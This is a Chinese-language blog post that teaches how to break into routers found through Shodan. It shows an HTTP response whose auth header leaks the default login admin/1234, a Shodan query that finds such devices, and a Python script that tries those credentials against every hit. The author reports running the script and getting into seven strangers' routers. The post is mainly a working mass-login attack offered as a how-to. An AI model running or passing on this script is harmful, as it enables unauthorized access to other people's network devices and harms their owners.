教你如何五分钟内使用 shodan 黑进路由器



最近又重新用了把 shodan 这个神器,shodan 这个网站提供了全网所有设备开放端口的各种信息,这也就给我们的攻击带来了遍历。如果某个软件存在漏洞,而这个软件是类似于 web 服务那种会监听某个端口提供服务的,那么我们就可以利用 shodan 的搜索功能大批量的找到互联网上那些存在漏洞的服务。

就拿弱密码来说吧,我们知道有很多路由器的 web 管理界面的默认密码人们是不会修改的,而一些路由器的 web 页面甚至暴露在了公网上。更加搞笑的是,有些品牌的路由器甚至把自己的默认密码写在了 http 响应的 header 中。

HTTP/1.0 401 Unauthorized
Date: Sat, 30 Dec 2017 03:44:21 GMT
Server: Boa/0.94.14rc21
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=10, max=1000
WWW-Authenticate: Basic realm=" Default Name:admin Password:1234 "
Content-Type: text/html

就比如上面这个,直接告诉你我是 basic 认证,默认的用户名和密码是 admin 和1234。可能有的安全意识较强的用户会修改掉默认用户名和密码,但是仍然有很多人是不会去改的。

研究了一发 shodan 的搜索语法,只要在搜索框内输入default name:admin password, 就可以列出所有这种类型的路由器了,接着就可以一个个去尝试了,基本尝试四五个就能发现一个能登陆进去的。如果嫌一个个尝试太过麻烦,还可以写一个 python 脚本,调用 shodan 的 API 来自动化测试。

import shodan
import requests

SHODAN_API_KEY = "your api key"

api = shodan.Shodan(SHODAN_API_KEY)

vul_ip_ports = []
try:

        # Search Shodan
        results = api.search('default name:admin password:1234')

        # Show the results
        print 'Results found: %s' % results['total']
        for result in results['matches']:
                print 'IP: %s' % result['ip_str']
                ip = result['ip_str']
                port = result['port']

                url = "http://%s:%d/index1.asp" % (ip, port)
                try:
                    r = requests.get(url, auth=('admin', '1234'))
                except:
                    continue
                if r.status_code == 200:
                    print("login into web server success!")
                    vul_ip_ports.append((ip, port))

except shodan.APIError, e:
        print 'Error: %s' % e

ip_ports = [ "%s:%d" % (x[0], x[1]) for x in vul_ip_ports ]
print("vul_ips:%s" % ', '.join(ip_ports))

跑了一遍脚本,由于 shodan api 的限制,默认只返回几十条左右(如果需要更多可能要付费),但也跑出了7个 ip 地址存在该漏洞。希望这些路由器的主人能尽快更改掉自己的默认密码吧。